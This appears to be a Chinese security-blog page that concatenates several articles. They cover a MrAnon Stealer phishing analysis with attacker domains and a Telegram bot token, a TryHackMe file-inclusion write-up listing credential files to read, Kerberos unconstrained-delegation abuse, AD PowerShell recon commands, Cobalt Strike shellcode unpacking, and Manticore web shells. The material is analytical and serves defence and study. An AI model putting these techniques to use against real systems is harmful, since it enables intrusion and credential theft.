在这里(https://app.any.run/tasks/eda5aee1-8231-4024-ae83-51fd29f585e2/?utm_source=thehackernews&utm_medium=article&utm_campaign=howtoanalynetworktraffic&utm_content=sample&utm_term=13122023),一旦主机IP地址被上传到了沙箱,Xworm就立即核查该IP地址。然而,由于虚拟机有一个住宅代理,恶意软件继续执行,并连接到其指挥和控制服务器。
-
攻击者通过发送虚假客房预订信息传播MrAnon Stealer恶意软件
FortiGuard实验室最近发现了一个电子邮件钓鱼活动,利用欺骗性的预订信息引诱受害者点击恶意PDF文件。PDF下载了一个用PowerGUI创建的 .NET可执行文件,然后运行PowerShell脚本来获取最终的恶意软件,称为MrAnon Stealer。 该恶意软件是一个基于Python的信息窃取程序,使用cx Freeze压缩以逃避检测。MrAnon Stealer窃取受害者的凭据、系统信息、浏览器会话和加密货币扩展,攻击流程如下所示。 攻击流 下载网址主要在德国被查询,这表明它是攻击的主要目标。这个URL的查询数量在2023年11月显著上升,该活动在该月异常活跃和激进。在本文中,我们将详细介绍该恶意软件在每个阶段的行为。 初始感染载体:Booking.pdf 攻击者伪装成一家希望预订酒店房间的公司,发送主题为“12月房间可用性查询”的网络钓鱼电子邮件。该网站包含假日期间虚假的酒店预订信息,附加的恶意PDF文件有一个下载链接隐藏在对象中。其解码后的数据如下: 网络钓鱼邮件 恶意PDF文件 .NET可执行文件:adobe.exe 通过“Loader”类中的字符串,可以发现恶意软件使用了PowerShell脚本编辑器,该编辑器将PowerShell脚本转换为微软可执行文件。 反编译的Exec()函数 在检查下图所示的.NET可执行文件后,我们发现它利用ScriptRunner.dll提取“Scripts.zip”以获得一个PowerShell脚本。解压后的文件存放在以下位置: “%USERPROFILE%\AppData\Local\Temp\Quest Software\PowerGUI” 这个 .NET Microsoft Windows可执行文件的唯一任务是解压缩名为“down2”的嵌入式脚本,并使用PowerShell.exe执行它。打包的文件和PowerShell配置位于文件的资源部分,如下图所示。 加载PowerShell脚本的ScriptRunner.dll 恶意软件的资源部分 PowerShell脚本: down2.ps1 该脚本启动Windows窗体的加载并配置其设置,包括窗体、标签和进度条。此外,它在后续脚本的执行中定义了文本,以消除用户的疑虑。 Create Windows表单 在 "Form Load event"部分中,脚本从相同的域“anonbin[.]ir”中检索有效负载,并解压缩临时文件夹中的文件。然后,它在zip归档中定位执行文件,并使用“Start-Process” 执行。在这种状态下,会显示一个名为 “File Not Supported”的窗口,并伴有一条指示 “Not Run: python.exe.” 的状态消息。这种欺骗性的演示旨在误导用户,使其相信恶意软件尚未成功执行。下图显示了恶意软件执行过程中的窗口和进度条。 Form Load事件部分 执行python.exe期间显示的进度窗口 Cx_Freeze打包文件:python.exe 压缩文件“Ads-Pro-V6-Free-Trail (1).zip”包含多个文件。下图显示了解压文件夹的内容。在此文件夹中,两个DLL文件作为干净的组件,以方便“Python .exe”进程加载额外的Python代码。下图展示了“Python .exe”中的WinMain函数,清楚地表明这不是一个合法的Python可执行文件。 Ads-Pro-V6-Free-Trail (1).zip中的文件 python.exe中的WinMain 跟踪初始调用可以发现执行文件源自cx_Freeze工具。然后,脚本搜索目录“\lib\library.zip”,并使用“PyObject_CallObject”调用恶意Python代码。 检查目录\\lib\\library.zip 调用Python主代码 下图显示了“library.zip”中的文件。值得注意的是,与合法文件相比,“cstgversion_main__.pyc”由于其独特的创建时间而脱颖而出。此特定文件包含负责数据盗窃的主要函数。 library.zip中的文件 MrAnon Stealer 首先,恶意软件会验证系统上是否存在以下进程,如果存在则会终止它们: “ArmoryQt.exe”, “Atomic Wallet.exe”, “brave.exe”, “bytecoin-gui.exe”, “chrome.exe”, “Coinomi.exe”, “Discord.exe”, “DiscordCanary.exe”, “Element.exe”, “Exodus.exe”, “firefox.exe”, “Guarda.exe”, “KeePassXC.exe”, “NordVPN.exe”, “OpenVPNConnect.exe”, “seamonkey.exe”, “Signal.exe”, “Telegram.exe”, “filezilla.exe”, “filezilla-server-gui.exe”, “keepassxc-proxy.exe”, “msedge.exe”, “nordvpn-service.exe”, “opera.exe”, “steam.exe”, “walletd.exe”, “waterfox.exe”, “yandex.exe” 然后使用“ImageGrab”抓取截图,保存文件名为 “Screenshot (Username ).png.”,此外,它还与“api.ipify.org”和“geolocation-db.com/jsonp”等合法网站建立连接,以检索系统的IP地址、国家名称和国家代码。它还从下列来源收集资料: 浏览器数据:7Star、Amigoz、Bravez、Cent Browser、Chrome Canary、Epic Privacy Browser、Google Chrome、Iridium、Kometa、Microsoft Edge、Opera、Opera GX、Orbitum、Sputnik、Torch、Uran、Vivaldi、Yandex、Firefox、Pale Moon、SeaMonkey和Waterfox。 桌面钱包:Bytecoin Wallet, Guarda, Atomic Wallet, Coinomi Wallet, Bitcoin Armory和 Exodus. 浏览器扩展: 即时通信:Discord, Discord Canary, Element, Signal, Telegram Desktop。 VPN客户端:NordVPN、ProtonVPN和OpenVPN Connect。 Browser Wallet: 其他:FileZilla和FileZilla Server。 游戏:Steam。 文件:它扫描这些目录:Desktop, Documents, Downloads, Pictures, and grabs specific files with following extensions: “.7z,” “.bmp,” “.conf,” “.csv,” “.dat,” “.db,” “.doc,” “.jpeg,” “.jpg,” “.kdbx,” “.key,” “.odt,” “.ovpn,” “.pdf,” “.png,” “.rar,” “.rdp,” “.rtf,” “.sql,” “.tar,” “.txt,” “.wallet,” “.xls,” “.xlsx,” “.xml,” and “.zip.” 接下来,它压缩被盗数据,用密码保护数据,并将文件名指定为“Log(Username).zip”。压缩后的文件将使用URL上传到公共文件共享网站hxxps://store1[.]gofile[.]io/uploadFile。最后,它将下载链接和系统信息附加到一条消息中,该消息使用bot令牌6799784870:AAHEU6EUdnAjRcH8Qq0TCokNtVJSL06VmbU发送到攻击者的Telegram频道。 Telegram消息中的被盗数据 zip文件 MrAnon Stealer的支持通道如下图所示。该支持渠道推广其产品,提供增强的功能,并在“hxxp[:]//anoncrypter[.]com”上为所有相关工具提供购买页面 MrAnon Stealer的telegram频道 MrAnon Tools的网站 攻击者在今年早些时候建立了网站“anonbin[.]ir”,如下图所示,并下载了所有相关文件。经过调查,我们发现了7月份使用cx_Freeze的类似打包文件。这些文件始终以基于Python的窃取程序为特征,由代码中共享的“HYDRA”标识标识,如下图所示。 该活动最初在7月和8月传播Cstealer,但在10月和11月过渡到传播MrAnon Stealer。这种模式表明了一种战略方法,即继续使用钓鱼电子邮件来传播各种基于Python的窃取程序。 hxxps[:]//anonbin[.]ir的主页 七月份恶意软件的标识 总结 该恶意软件使用PowerGUI和cx-Freeze工具创建一个复杂的过程,涉及 .NET可执行文件和PowerShell脚本。攻击者还使用虚假错误消息等技巧来隐藏攻击活动,从特定域下载并提取文件,以运行有害的Python脚本。该脚本提取干净的DLL文件和名为“python.exe”的恶意软件,用来掩盖恶意有效负载MrAnon Stealer的加载。它从几个应用程序中窃取数据和敏感信息,然后将窃取的数据压缩并上传到公共文件共享网站和攻击者的Telegram频道,用户应小心网络钓鱼邮件和不清晰的PDF文件。
-
[Tryhackme]File Inclusion writeup
前言 英文题目为了校准谷歌和必应的搜索,谷歌和必应也都会把本站的每篇文章都收录 Foreign friends please use Google Translate plugin to translate this article for better viewing allow_url_fopen allow_url_include等函数导致文件包含漏洞 file_get_contents函数导致目录遍历 除了SSRF的靶场没打,文件包含和xss在ctfshow和xsshaozi打了 也在补天那里提交了几个xss存储型低危的洞 room:https://tryhackme.com/room/fileinc 笔记 笔记: /etc/issue 包含在登录提示之前打印的消息或系统标识。 /etc/profile 控制系统范围的默认变量,例如 导出变量、文件创建掩码 (umask)、终端类型、指示新邮件何时到达的邮件消息 /proc/version 指定Linux内核的版本 /etc/passwd 拥有有权访问系统的所有注册用户 /etc/shadow 包含有关系统用户密码的信息 /root/.bash_history 包含root用户的历史命令 /var/log/dmessage 包含全局系统消息,包括系统启动期间记录的消息 /var/mail/root root用户的所有电子邮件 /root/.ssh/id_rsa 服务器上 root 或任何已知有效用户的SSH私钥 /var/log/apache2/access.log Apache Web 服务器的访问请求 C:\boot.ini 包含具有BIOS固件的计算机的启动选项 Lab1-2 输入错误信息弹目录 Lab-346 00阶段php5.3.以下有效 任意输入一个就能查看哪个函数 随便包含一个就能知道必须包含那个函数 以下两题认真观看无需回答 Lab-challenges POST传输直接秒了 下一题篡改cookie 篡改admins 发现篡改后报错为admin.php’ 判断我们应该把cookie改成我们需要查看的目录 并且闭合’ 下一关输入godyu666 发现6被抹走了 过滤了数字 发现改post请求就会取消过滤 最后一个考的是远程文件包含
-
Kerberos无约束委派的攻击和防御
0x00 前言简介 当Active Directory首次与Windows 2000 Server一起发布时,Microsoft就提供了一种简单的机制来支持用户通过Kerberos对Web服务器进行身份验证并需要授权用户更新后端数据库服务器上的记录的方案。这通常被称为Kerberos double-hop issue(双跃点问题),需要委派才能使Web服务器在修改数据库记录时模拟用户操作。 0x01 Kerberos Unconstrained Delegation(Kerberos无约束委派) Microsoft在Windows 2000中已添加了Kerberos“无约束委派”功能。域管理员可以通过勾选第二个复选框来启用此委派级别。第三个复选框用于“约束委派”,它要求在启用了委派的计算机上列出特定的Kerberos服务。 PowerShell查找Kerberos无约束委派: 使用Active Directory PowerShell模块的Get-ADComputer发现Kerberos无约束委派的计算机是比较容易。 无约束的委托:TrustedForDelegation = True 约束委派:TrustedToAuthForDelegation = True 0x02 Kerberos通信流程 让我们遵循标准的Kerberos通信流程,这是一个描述Kerberos如何工作的快速示例: 用户使用用户名和密码登录 1A.密码转换为NTLM哈希且时间戳用哈希加密,并把它作为身份验证票证(TGT)请求(AS-REQ)的身份验证者发送到KDC(密钥分配中心) 1B.域控制器(KDC)检查用户信息(登录限制,组成员等)并创建票据授予票证(TGT) 2. TGT经过加密和签名并发送给用户(AS-REP)。只有域中的Kerberos服务(KRBTGT)才能打开和读取TGT数据 3.当请求票证授予服务(TGS)票证(TGS-REQ)时,用户将TGT发送给DC。DC打开TGT并验证PAC校验----如果DC可以打开票证并校验和检出,则TGT 是有效的,TGT中的数据被有效地复制来创建TGS票证 4.使用目标服务帐户的NTLM密码哈希对TGS进行加密并发送给用户(TGS-REP) 5. 用户连接到服务器托管服务的适当的端口并发送给TGS(AP-REQ)。 该服务使用其NTLM密码哈希打开TGS票证。 当托管在TGS-REQ中引用的服务主体名称中指定的服务的服务器上启用Kerberos无约束委派时(步骤3),DC控制器的域控制器将用户的TGT副本存放到服务票证中。当用户的服务票证(TGS)被提供给服务器以进行服务访问时,服务器打开TGS并将用户的TGT放入LSASS以方便以后使用。Application Server现在可以无限制地模拟该用户操作! 注意:为了使应用程序服务器配置“Kerberos Unconstrained Delegation”,域管理员或企业管理员需要在域中的计算机帐户上配置此设置。此权限可以委派给其他组,因此请谨慎在Active Directory中授权用户权限。 0x03 无约束委派盗取凭证 作为攻击者,一旦找到具有Kerberos无约束委派的服务器,那么下一步可以如下: 1.通过管理员或服务帐户攻击服务器。 2.通过社会工程学使用Domain Admin连接到服务器上的任何服务,并且具有无约束委派权限。 3.当管理员连接到此服务时,管理员的TGS服务票证(使用TGT)将发送到服务器并存入LSASS中,以方便以后使用。 4.可以提取并重新使用域管理员身份验证(TGT)票证(直到票有效期为止)。 5.可以立即使用该票证以获取域KRBTGT帐户密码哈希(当域管理员被泄露时),在这种情况下,我们使用PowerShell远程操作作为域管理员连接到域控制器。 0x04 防御措施 1.不要使用Kerberos无约束委派权限 -----配置需要使用约束委派进行委派的服务器 2.将所有高权限的管理员帐户配置为“帐户敏感且无法委派” 3.从Windows Server 2012 R2域功能级别开始提供的“受保护用户”组也可以缓解此问题,因为此组中的帐户不允许委派。 注意: 当受保护用户的组帐户升级到Windows Server 2012 R2域功能级别时,将自动应用基于域控制器的保护。对Windows Server 2012 R2域进行身份验证的受保护用户组的成员无法再使用以下身份进行身份验证:Windows 8.1设备连接到Windows Server 2012 R2主机时. 默认凭据委派(CredSSP):即使启用了“ 允许委派默认凭据组策略”设置,也不会缓存纯文本密码凭据。 Windows摘要(Windows Digest):即使启用了Windows摘要,也不会缓存纯文本密码凭据。 NTLM:NT单向函数NTOWF的结果不会被缓存 Kerberos长期密钥:来自Kerberos初始TGT请求的密钥通常被缓存,因此不会中断身份验证请求。对于此组中的帐户,Kerberos协议会在每个请求中验证身份验证。 离线登录:登录时不会创建缓存的验证程序
-
Active Directory PowerShell模块收集AD信息
0x00 前言简介 Microsoft为Windows Server 2008 R2(以及更高版本)提供了多个Active Directory PowerShell cmdlet,这大大简化了以前需要将涉及到的ADSI冗长代码行放在一起的任务。 在Windows客户端上,需要安装远程服务器管理工具(RSAT)并确保已安装Active Directory PowerShell模块。而在Windows服务器(2008 R2或更高版本)上的 PowerShell控制台(作为管理员)中运行如下命令:Import-Module ServerManager ; Add-WindowsFeature RSAT-AD-PowerShell。 0x01 AD的目录预览 AD PowerShell cmdlet和以下方式执行效果一样: Import-module activeDirectory $UserID = “JoeUser” Get-ADUser $UserID –property * 需要值得注意的是使用PowerShell v3版本以及高版本,你无需运行第一行命令,因为PowerShell的将识别必要的模块和自动加载它。一旦加载了Active Directory PowerShell模块,就可以像浏览文件系统那样浏览AD。命令如下: Ps> Import-module activeDirectory Ps>dir ad: Ps>set-location ad: Ps >set-location “dc=lab,dc=adsecurity,dc=org” Ps>dir 0x02 查找有用的命令(Cmdlet) 1.基本的模块和统计 发现可用的PowerShell模块:Get-Module -ListAvailable 在PowerShell模块中发现cmdlet:Get-Command -module ActiveDirectory PowerShell AD模块的Cmdlet个数: (Get-Command -module ActiveDirectory).count Windows Server 2008 R2: 76 cmdlets Windows Server 2012: 135 cmdlets Windows Server 2012 R2: 147 cmdlets Windows Server 2016: 147 cmdlets WINDOWS SERVER 2008 R2主要的cmdlets: • Get/Set-ADForest • Get/Set-ADDomain • Get/Set-ADDomainController • Get/Set-ADUser • Get/Set-ADComputer • Get/Set-ADGroup • Get/Set-ADGroupMember • Get/Set-ADObject • Get/Set-ADOrganizationalUnit • Enable-ADOptionalFeature • Disable/Enable-ADAccount • Move-ADDirectoryServerOperationMasterRole • New-ADUser • New-ADComputer • New-ADGroup • New-ADObject • New-ADOrganizationalUnit WINDOWS SERVER 2012含以版本一些新的cmdlets: • *-ADResourcePropertyListMember • *-ADAuthenticationPolicy • *-ADAuthenticationPolicySilo • *-ADCentralAccessPolicy • *-ADCentralAccessRule • *-ADResourceProperty • *-ADResourcePropertyList • *-ADResourcePropertyValueType • *-ADDCCloneConfigFile • *-ADReplicationAttributeMetadata • *-ADReplicationConnection • *-ADReplicationFailure • *-ADReplicationPartnerMetadata • *-ADReplicationQueueOperation • *-ADReplicationSite • *-ADReplicationSiteLink • *-ADReplicationSiteLinkBridge • *-ADReplicationSubnet • *-ADReplicationUpToDatenessVectorTable • Sync-ADObject 2.发现全局目录 GLOBAL CATALOGS (GCS) • Forest GCs(森林全局目录): import-module ActiveDirectory $ADForest = Get-ADForest $ADForestGlobalCatalogs = $ADForest.GlobalCatalogs • Domain DCs that are GCs(以域DCS的全局目录): import-module ActiveDirectory $DCsNotGCs = Get-ADDomainController -filter { IsGlobalCatalog -eq $True} • Domain DCs that are not GCs(以非域DCS的全局目录): import-module ActiveDirectory $DCsNotGCs = Get-ADDomainController -filter { IsGlobalCatalog -eq $False } 3.查找Active Directory灵活单主机操作(FSMO)角色 活动目录模块: (GET-ADForest).SchemaMaster (GET-ADForest).DomainNamingMaster (GET-ADDomain).InfrastructureMaster (GET-ADDomain).PDCEmulator (GET-ADDomain).RIDMaster .NET调用: •Get the Current Domain: [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain().Name • Get the Computer’s Site: [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite() • List All Domain Controllers in a Domain: [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers • Get Active Directory Domain Mode: [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainMode • List Active Directory FSMOs: ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).SchemaRoleOwner ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).NamingRoleOwner ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).InfrastructureRoleOwner ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).PdcRoleOwner ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).RidRoleOwner •Get Active Directory Forest Name: [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Name • Get a List of Sites in the Active Directory Forest: [array] $ADSites = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites • Get Active Directory Forest Domains: [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Domains • Get Active Directory Forest Global Catalogs: [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs • Get Active Directory Forest Mode: [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().ForestMode • Get Active Directory Forest Root Domain: [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().RootDomain 4.FSMO角色从一个DC移动到另一个DC get-command -module activedirectory -noun *Master* •Moving FSMO Roles: Move-ADDirectoryServerOperationMasterRole -Identity $DCName -OperationMasterRole RIDMaster Move-ADDirectoryServerOperationMasterRole -Identity $DCName - OperationMasterRole DomainNamingMaster Move-ADDirectoryServerOperationMasterRole -Identity $DCName -OperationMasterRole PDCEmulato •Seizing FSMO Roles: Move-ADDirectoryServerOperationMasterRole -Identity $DCName -OperationMasterRole PDCEmulator –FORCE 0x03 Active Directory PowerShell模块Cmdlet示例 1.Get-RootDSE 获取有关LDAP服务器(域控制器)的信息并显示其内容,结果中有一些有趣的信息,比如DC运行的操作系统信息。 2.Get-ADForest 提供有关运行该命令计算机所在的Active Directory森林信息。 3.Get-ADDomain 提供有关当前所在域的信息 4.Get-ADDomainController 提供特定于域控制器的计算机信息,通过cmdlet命令,可轻松查找到特定站点中的所有DC或运行OS版本信息。 5.Get-ADComputer 提供了关于AD中大多数计算机对象的信息,使用“-Prop *”参数运行的命令可以显示所有标准属性信息。 6. AD计算机的统计 $Time = (Measure-Command ` {[array] $AllComputers = Get-ADComputer -filter * -properties Name,CanonicalName,Enabled,passwordLastSet,SAMAccountName,LastLogonTimeSt amp,DistinguishedName,OperatingSystem }).TotalMinutes $AllComputersCount = $AllComputers.Count Write-Output “There were $AllComputersCount Computers discovered in $DomainDNS in $Time minutes… `r “ 7.Get-ADUser 提供了想要了解有关AD用户的大部分内容信息,使用“-Prop *”参数运行的命令可以显示所有标准属性信息。 8. AD用户的统计 import-Module ActiveDirectory $DomainDNS = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name [array]$AllUsers = Get-ADUser -filter * -properties Name,DistinguishedName,Enabled,LastLogonDate,LastLogonTimeStamp,LockedOut,msExchHom eServerName,SAMAccountName $AllUsersCount = $AllUsers.Count Write-Output “There were $AllUsersCount user objects discovered in $ADDomainDNSRoot … “ [array] $DisabledUsers = $AllUsers | Where-Object { $_.Enabled -eq $False } $DisabledUsersCount = $DisabledUsers.Count [array] $EnabledUsers = $AllUsers | Where-Object { $_.Enabled -eq $True } $EnabledUsersCount = $EnabledUsers.Count Write-Output “There are $EnabledUsersCount Enabled users and there are $DisabledUsersCount Disabled users in $DomainDNS “ 9.Get-ADGroup 提供有关AD组的信息,运行如下命令可查找所有安全组: Get-ADGroup -Filter {GroupCategory -eq ‘Security} 10.Get-ADGroupMember 枚举并返回组成员信息,使用”-Recursive”参数可包括嵌套组的所有成员。 Get-ADGroupMember ‘Administrators’ -Recursive 11.查找非活动计算机 以下示例查找非活动(旧版本)计算机和用户:在过去10天内未更改其密码的帐户。请注意,这是一个测试示例。对于实际的生产环境,将此建议更改为计算机的60到90天,用户的180到365天的策略。 12.查找非活动用户 13.枚举域信任 14.获取活动目录的实施日期 15.获取AD密码策略 16.获取AD站点信息 请注意Windows 2012模块中包含站点的cmdlet(Get-ADReplicationSite *)。 17. 获得tombstonelifetime信息 18.AD的回收信息 Requires Forest Functional Mode = Windows Server 2008 R2 • Enable the Recycle Bin (as Enterprise Admin) Enable-ADOptionalFeature –Identity ‘CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=DOMAIN,DC=COM’ –Scope ForestOrConfigurationSet –Target ‘DOMAIN.COM’ • Find all Deleted Users $DeletedUsers = Get-ADObject -SearchBase “CN=Deleted Objects,DC=DOMAIN,DC=COM” -Filter {ObjectClass -eq “user”} -IncludeDeletedObjects -Properties lastKnownParent • Restore all Deleted Users $DeletedUsers | Restore-ADObject • Restore users deleted on a specific date $ChangeDate = Get-Date (“1/1/2015″) Get-ADObject -Filter { (whenChanged -eq $changeDate) -and (isDeleted -eq $true) -and (name -ne “Deleted Objects”) -and (ObjectClass -eq “user”) } -IncludeDeletedObjects -Properties * | RestoreADObject 19.DOMAIN RID STATS(域 rid 统计) 20.备份域GPO 请注意,这需要安装组策略PowerShell模块,该模块与Active Directory模块分开。 21.查找AD Kerberos服务帐户 22. 服务账号脚本 https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Find-PSServiceAccounts 使用SPNS在AD中发现服务:SQl 列出SQL服务: https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers 23.列出域控制器 Get-ADDomainController-filter * | `select hostname,IPv4Address,IsGlobalCatalog,IsReadOnly,OperatingSystem | `format-table -auto 24.DOMAIN CONTROLLERS DISCOVERY(域控制器的发现) • Discover PDCe in domain(发现域的PDCe) Get-ADDomainController –Discover –ForceDiscover –Service “PrimaryDC” – DomainName “lab.adsecurity.org” • Discover DCs in a Site(发现站点的DCs) Get-ADDomainController –Discover –Site “HQ” • Find all Read-Only Domain Controllers that are GCs(查找所有作为GCs的只读域控制器) Get-ADDomainController –filter ` { (isGlobalCatalog –eq $True) –AND (isReadOnly –eq $True) } 25.AD数据库完整性检查 Write-Output "Checking the NTDS database for errors (semantic database analysis) `r " Stop-Service ntds -force $NTDSdbChecker = ntdsutil "activate instance ntds" "semantic database analysis" "verbose on" "Go" q q Start-Service ntds Write-Output "Results of Active Directory database integrity check: `r " $NTDSdbChecker 26.Get-ADReplicationPartnerMetadata Windows Server 2012及更高版本,此命令用于显示目标DC复制伙伴的复制元数据 27.Get-ADReplicationPartnerFailure 提供有关DC复制失败状态的信息,此命令显示AD复制错误的描述,CMDLETS (2012) 28.Get-ADReplicationUptodatenessVectorTable 跟踪域控制器之间的复制状态,CMDLETS (2012) 29.AD Web服务(ADWS) 需要在目标DC上运行AD Web服务(ADWS)(TCP 9389) Get-ADDomainController –Discover –Service “ADWS” 30.REPADMIN(目录复制工具) VS. POWERSHELL REPADMIN PowerShell 2012 Cmdlets /FailCache Get-ADReplicationFailure /Queue Get-ADReplicationQueueOperation /ReplSingleObj Sync-ADObject /ShowConn Get-ADReplicationConnection /ShowObjMeta Get-ADReplicationAttributeMetadata /ShowRepl /ReplSum Get-ADReplicationPartnerMetadata /ShowUTDVec Get-ADReplicationUpToDatenessVectorTable /SiteOptions Set-ADReplicationSite 2008 R2 Cmdlets /ShowAttr Get-ADObject /SetAttr Set-ADObject /PRP Get-ADDomainControllerPasswordReplicationPolicy Add-ADDomainControllerPasswordReplicationPolicy Remove-ADDomainControllerPasswordReplicationPolicy Get-ADAccountResultantPasswordReplicationPolicy Get-ADDomainControllerPasswordReplicationPolicyUsage
-
如何获取解码后的Shellcode以及使用Ghidra手动定位Shellcode和相关解密密钥的方法
探索Cobalt Strike shellcode是由编译后的可执行.exe文件加载情况,这将需要使用调试器(x64dbg)和静态分析(Ghidra)来执行完整的分析。 可执行文件是编译后的exe,包含隐藏和混淆的Shellcode,使用一个简单的异或例程和一个4字节的项对shellcode进行解码,然后将其写入一个用VirtualAlloc创建的简单缓冲区。 本文将探索使用调试器获得解码的shellcode的方法,然后寻找使用Ghidra手动定位shellcode和相关解密密钥的方法,还将研究在X64dbg和Ghidra之间切换的方法,以及使用ChatGPT识别和分析Ghidra输出的方法。 获取样本 点此下载样本(pw:infected)。 SHA256: 99986d438ec146bbb8b5faa63ce47264750a8fdf508a4d4250a8e1e3d58377fd 分析 我们可以先把文件保存到一台分析机上然后用感染的密码解压缩。从这里我们还可以创建一个文件名较短的副本。 由于该文件是已编译的可执行文件,我们可以尝试使用调试器对其进行分析。在本文中为x64dbg。 我们可以继续使用x64dbg打开文件,一直点击直到到达入口点。 现在,我们可以继续在API上创建一些断点,这些断点通常(但并不总是)在恶意软件解包时使用。 我们可以通过运行bp VirtualAlloc和bp VirtualProtect来创建2个断点。 创建断点后,我们可以继续并允许恶意软件继续(F9)。恶意软件将继续运行并触发VirtualAlloc上的断点。 我们的主要目的是获取由VirtualAlloc创建的缓冲区,我们可以通过使用Execute Until Return来实现这一点。“Execute Until Return”将允许VirtualAlloc函数完成,但不允许发生任何进一步的操作。这意味着我们可以很容易地获得创建的缓冲区的地址。 查看VirtualAlloc创建的内存 在点击execute之后,返回。我们可以在RAX内部观察到新创建的缓冲区地址。 我们想继续监控这个缓冲区的可疑内容和解压缩的恶意软件时,可以通过右键点击RAX中包含的地址来开始监控过程。 现在我们可以选择Follow in Dump,这将打开左下角窗口中缓冲区的内容。 通过点击“Follow In Dump”,我们可以在左下角的窗口中观察到转储的内容。 我们可以在这里注意到缓冲区是空的,只包含00。 用硬件断点监控内存 VirtualAlloc已经创建了一个空缓冲区,现在,我们可以通过创建一个硬件断点来监控这个缓冲区的变化。 硬件断点可以通过选择内存转储中的第一个字节以及Right Click -> Breakpoint -> Hardware, Access -> Byte来创建。 这样我们可以允许恶意软件继续执行。可以看到硬件断点被触发,在缓冲区的第一部分中包含一个FC字节。前两篇文章中已经讲过FC是shellcode中非常常见的第一个字节。 此时,我们希望恶意软件继续填充缓冲区。 我们可以继续使用另一个Execute Until Return。这样缓冲区就会被填满,我们就可以监控里面的内容了。 下面我们可以看到填充后的缓冲区。可以看到第一个字节是0xFC,并且在初始字节中有一个wininet字符串,这可能表示shellcode。 使用反汇编器验证Shellcode 现在我们有了一个合理的假设,即缓冲区包含shellcode,我们可以继续尝试使用X64dbg对其进行反汇编。如果我们反汇编代码并且没有明显的错误,那么很有可能正在查看shellcode。 我们可以通过在反汇编器中选择第一个FC字节和Follow in Disassembler来实现这一点。 X64dbg现在将尝试从缓冲区中反汇编字节。 下面,我们可以在顶部的反汇编窗口中观察到被反汇编的缓冲区。可以发现,似乎没有明显的错误,并且有有效的函数调用,循环和总体“正常”的指令。 使用SpeakEasy仿真器进行最终验证 由于非常怀疑缓冲区包含shellcode,所以我们可以继续使用Speakeasy来模拟它。 我们也可以用X64dbg实现同样的事情,但是对于shellcode来说,这是一个更复杂的过程。也可以用X64dbg实现同样的事情,但是对于shellcode,这也是一个复杂的过程。 要使用speakeasy模拟shellcode,我们首先需要保存它。 我们可以选择我们的第一个FC字节,右键单击然后Follow in Memory Map。 现在我们可以将内存缓冲区保存到一个文件中,将文件保存为memdump.bin。 用Speakeasy模拟未打包的Shellcode 现在将shellcode缓冲区保存到文件memdump.bin中。我们可以继续使用Speakeasy来模拟shellcode。 我们可以使用speakeasy -t memdump.bin -r -a x64命令来做到这一点: speakeasy -运行speakeasy工具; -t -我们要使用哪个文件; -r - (Raw) -表示我们正在使用shellcode; -a x64 -表示我们的文件包含64位指令。我们知道这是因为我们使用的是x64dbg而不是x32dbg。 运行此命令后,将成功地模拟shellcode,并向我们提供有关其功能的大量信息。 Speakeasy输出显示了一个C2地址 可以看到对User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727)\r\n的用户代理的引用。 如果有可用的代理日志,这个用户代理将是查找代理日志的好地方。 在Ghidra中查找Shellcode解密函数 在第一次触发硬件断点时,主要可执行文件可能位于解密函数的中间。我们可以使用这些信息在Ghidra中查找相同的解密函数。 在Ghidra中查找Shellcode解密函数; 用ChatGPT识别解密例程逻辑; 使用Ghidra识别解密密钥; 利用熵定位加密shell; 使用Cyberchef执行手动解码; 使用解密字节查找其他样本; 使用解密代码创建Yara Rule 。
-
MANTICORE的攻击范围正在逐步扩大(下)
MANTICORE的攻击范围正在逐步扩大(上) Web shell Manticore部署了多个Web shell,包括之前被间接归因于OilRig的Web shell,其中一些web shell因其混淆、命名约定和工件而更受关注。与Manticore在过去几年的攻击中使用的许多其他web Shell和基于.NET的工具相比,web Shell保留了类和方法模糊以及类似的字符串加密算法,该加密算法与一个字节异或,密钥从第一个字节或前2个字节派生。 其中一个shell是对开源XML/XSL转换web shell (XSL Exec shell)进行了严重混淆和略微修改的版本。这个web shell还包含两个混淆的函数,它们返回字符串“~/1.aspx”。这些函数从未被调用过,很可能是其他版本的残余,正如我们在Manticore之前使用的工具(如FOXSHELL)中观察到的那样: FOXSHELL web shell版本中未使用的字符串 攻击目标 根据对最新利用LIONTAIL的分析发现,受害者遍布中东地区。大多数受影响的实体属于政府、电信、军事和金融部门,以及IT服务提供商。 至少从2019年开始,Manticore就开始在中东地区活跃。它最初是基于开源的web部署代理,随着时间的推移演变成一个多样化和强大的工具集,既利用了自定义编写的组件,也利用了开源组件。 Manticore使用的多个恶意软件版本的代码和功能演变概述 基于Tunna的Web shell 最早的一个与攻击者活动相关的样本是基于Tunna的web shell, Tunna是一个开源工具,旨在通过HTTPTunna传输任何TCP通信。Tunna web shell允许从外部连接到远程主机上的任何服务,包括那些在防火墙上被阻止的服务,因为所有与web shell的外部通信都是通过HTTP完成的。在配置阶段,将远程主机的IP和端口发送给web shell,在很多情况下,主要使用Tunna来代理RDP连接。 该攻击者使用的web shell的内部版本为Tunna v1.1g 